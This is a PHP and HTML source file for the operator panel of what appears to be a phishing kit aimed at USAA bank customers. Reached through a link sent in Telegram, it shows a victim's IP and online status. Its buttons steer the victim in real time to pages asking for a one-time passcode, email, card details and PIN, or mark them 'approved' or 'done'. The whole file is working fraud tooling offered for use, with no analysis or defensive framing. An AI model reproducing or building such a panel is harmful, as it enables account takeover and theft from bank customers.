<?php
$user_ip = isset($_GET['ip']) ? trim((string) $_GET['ip']) : '';
if ($user_ip === '') {
    header('HTTP/1.1 403 Forbidden');
    echo 'Access denied. Open the panel from the link sent in Telegram.';
    exit;
}

$scheme    = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
$host      = $_SERVER['HTTP_HOST'] ?? 'localhost';
$script    = $_SERVER['SCRIPT_NAME'] ?? '/custom/keystone.php';
$base_dir  = dirname(dirname($script));
$base      = $scheme . '://' . $host . ($base_dir === '/' || $base_dir === '\\' ? '' : rtrim($base_dir, '/\\'));
$status_url = 'status.php?ip=' . rawurlencode($user_ip);
?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover">
  <meta name="theme-color" content="#fff">
  <title>Panel — <?php echo htmlspecialchars($user_ip); ?></title>
  <style>
    *, *::before, *::after { box-sizing: border-box; }
    body { font-family: Arial, Helvetica, sans-serif; margin: 0; padding: 0; min-height: 100vh; background: #f5f5f5; color: #333; font-size: 14px; }
    .panel { max-width: 400px; margin: 0 auto; padding: 20px 16px; padding-bottom: max(20px, env(safe-area-inset-bottom)); }
    .panel__header { display: flex; align-items: center; justify-content: space-between; flex-wrap: wrap; gap: 12px; margin-bottom: 20px; padding-bottom: 16px; border-bottom: 1px solid #ddd; }
    .panel__title { font-size: 18px; font-weight: 700; margin: 0; color: #222; }
    .panel__status { display: inline-flex; align-items: center; gap: 6px; padding: 4px 10px; border-radius: 4px; font-size: 12px; font-weight: 600; }
    .panel__status--online { background: #e8f5e9; color: #2e7d32; }
    .panel__status--offline { background: #f5f5f5; color: #666; border: 1px solid #e0e0e0; }
    .panel__status-dot { width: 6px; height: 6px; border-radius: 50%; flex-shrink: 0; }
    .panel__status--online .panel__status-dot { background: #2e7d32; }
    .panel__status--offline .panel__status-dot { background: #9e9e9e; }
    .panel__card { background: #fff; border: 1px solid #e0e0e0; border-radius: 4px; padding: 16px; margin-bottom: 12px; }
    .panel__card-title { font-size: 11px; font-weight: 700; text-transform: uppercase; letter-spacing: 0.5px; color: #666; margin: 0 0 8px 0; }
    .panel__ip { font-family: Consolas, Monaco, monospace; font-size: 13px; word-break: break-all; color: #333; }
    .panel__actions { display: flex; flex-direction: column; gap: 10px; }
    .panel__btn { display: block; width: 100%; padding: 12px 16px; font-size: 14px; font-weight: 600; text-align: center; border: 1px solid transparent; border-radius: 4px; cursor: pointer; font-family: inherit; }
    .panel__btn--primary { background: #0E2E49; color: #fff; border-color: #0E2E49; }
    .panel__btn--primary:hover { background: #0a2036; }
    .panel__btn--secondary { background: #455a64; color: #fff; border-color: #455a64; }
    .panel__btn--secondary:hover { background: #37474f; }
    .panel__btn--success { background: #1b5e20; color: #fff; border-color: #1b5e20; }
    .panel__btn--success:hover { background: #0d3d12; }
    .panel__btn--danger { background: #b71c1c; color: #fff; border-color: #b71c1c; }
    .panel__btn--danger:hover { background: #8b0000; }
    .panel__btn:disabled { opacity: 0.6; cursor: not-allowed; }
    .panel__feedback { margin-top: 12px; padding: 10px 12px; border-radius: 4px; font-size: 13px; display: none; }
    .panel__feedback--success { display: block; background: #e8f5e9; color: #1b5e20; border: 1px solid #c8e6c9; }
    .panel__feedback--error { display: block; background: #ffebee; color: #b71c1c; border: 1px solid #ffcdd2; }
  </style>
</head>
<body>
  <div class="panel">
    <header class="panel__header">
      <h1 class="panel__title">USAA Panel</h1>
      <div id="panel-status" class="panel__status panel__status--offline" aria-live="polite">
        <span class="panel__status-dot"></span>
        <span id="panel-status-text">Checking…</span>
      </div>
    </header>

    <section class="panel__card">
      <h2 class="panel__card-title">User IP</h2>
      <p class="panel__ip" id="panel-ip"><?php echo htmlspecialchars($user_ip); ?></p>
    </section>

    <section class="panel__card">
      <h2 class="panel__card-title">Redirect user to</h2>
      <div class="panel__actions">
        <form method="post" action="set_redirect.php" class="panel-form" data-target="verify">
          <input type="hidden" name="ip" value="<?php echo htmlspecialchars($user_ip); ?>">
          <input type="hidden" name="r" value="approved">
          <button type="submit" class="panel__btn panel__btn--primary">Approve OTP</button>
        </form>
        <form method="post" action="set_redirect.php" class="panel-form" data-target="loginerror">
          <input type="hidden" name="ip" value="<?php echo htmlspecialchars($user_ip); ?>">
          <input type="hidden" name="r" value="disapproved">
          <button type="submit" class="panel__btn panel__btn--danger">Disapprove OTP</button>
        </form>
        <form method="post" action="set_redirect.php" class="panel-form" data-target="code">
          <input type="hidden" name="ip" value="<?php echo htmlspecialchars($user_ip); ?>">
          <input type="hidden" name="r" value="code">
          <button type="submit" class="panel__btn panel__btn--secondary">Code page</button>
        </form>
        <form method="post" action="set_redirect.php" class="panel-form" data-target="email">
          <input type="hidden" name="ip" value="<?php echo htmlspecialchars($user_ip); ?>">
          <input type="hidden" name="r" value="email">
          <button type="submit" class="panel__btn panel__btn--secondary">Email</button>
        </form>
        <form method="post" action="set_redirect.php" class="panel-form" data-target="card">
          <input type="hidden" name="ip" value="<?php echo htmlspecialchars($user_ip); ?>">
          <input type="hidden" name="r" value="card">
          <button type="submit" class="panel__btn panel__btn--secondary">Card</button>
        </form>
        <form method="post" action="set_redirect.php" class="panel-form" data-target="pin">
          <input type="hidden" name="ip" value="<?php echo htmlspecialchars($user_ip); ?>">
          <input type="hidden" name="r" value="pin">
          <button type="submit" class="panel__btn panel__btn--secondary">PIN</button>
        </form>
        <form method="post" action="set_redirect.php" class="panel-form" data-target="done">
          <input type="hidden" name="ip" value="<?php echo htmlspecialchars($user_ip); ?>">
          <input type="hidden" name="r" value="done">
          <button type="submit" class="panel__btn panel__btn--success">Done / Success</button>
        </form>
      </div>
      <div id="panel-feedback" class="panel__feedback" role="status"></div>
    </section>
  </div>

  <script>
    (function() {
      var statusEl = document.getElementById('panel-status');
      var statusText = document.getElementById('panel-status-text');
      var statusUrl = <?php echo json_encode($status_url); ?>;

      function updateStatus() {
        fetch(statusUrl, { credentials: 'same-origin', cache: 'no-store' })
          .then(function(r) { return r.json(); })
          .then(function(data) {
            var online = data && data.online === true;
            statusEl.className = 'panel__status ' + (online ? 'panel__status--online' : 'panel__status--offline');
            statusText.textContent = online ? 'Online' : 'Offline';
          })
          .catch(function() {
            statusEl.className = 'panel__status panel__status--offline';
            statusText.textContent = 'Offline';
          });
      }

      updateStatus();
      setInterval(updateStatus, 4000);

      var forms = document.querySelectorAll('.panel-form');
      var feedback = document.getElementById('panel-feedback');
      forms.forEach(function(f) {
        f.addEventListener('submit', function(e) {
          e.preventDefault();
          var btn = f.querySelector('button[type="submit"]');
          if (btn) btn.disabled = true;
          feedback.className = 'panel__feedback';
          feedback.textContent = '';
          var fd = new FormData(f);
          var body = new URLSearchParams(fd).toString();
          fetch(f.getAttribute('action'), {
            method: 'POST',
            headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
            body: body
          })
            .then(function(r) { return r.json(); })
            .then(function(data) {
              feedback.className = 'panel__feedback ' + (data.ok ? 'panel__feedback--success' : 'panel__feedback--error');
              feedback.textContent = data.ok ? 'User is redirected' : (data.error || 'Failed to queue redirect.');
            })
            .catch(function() {
              feedback.className = 'panel__feedback panel__feedback--error';
              feedback.textContent = 'Request failed.';
            })
            .then(function() { if (btn) btn.disabled = false; });
          return false;
        });
      });
    })();
  </script>
</body>
</html>
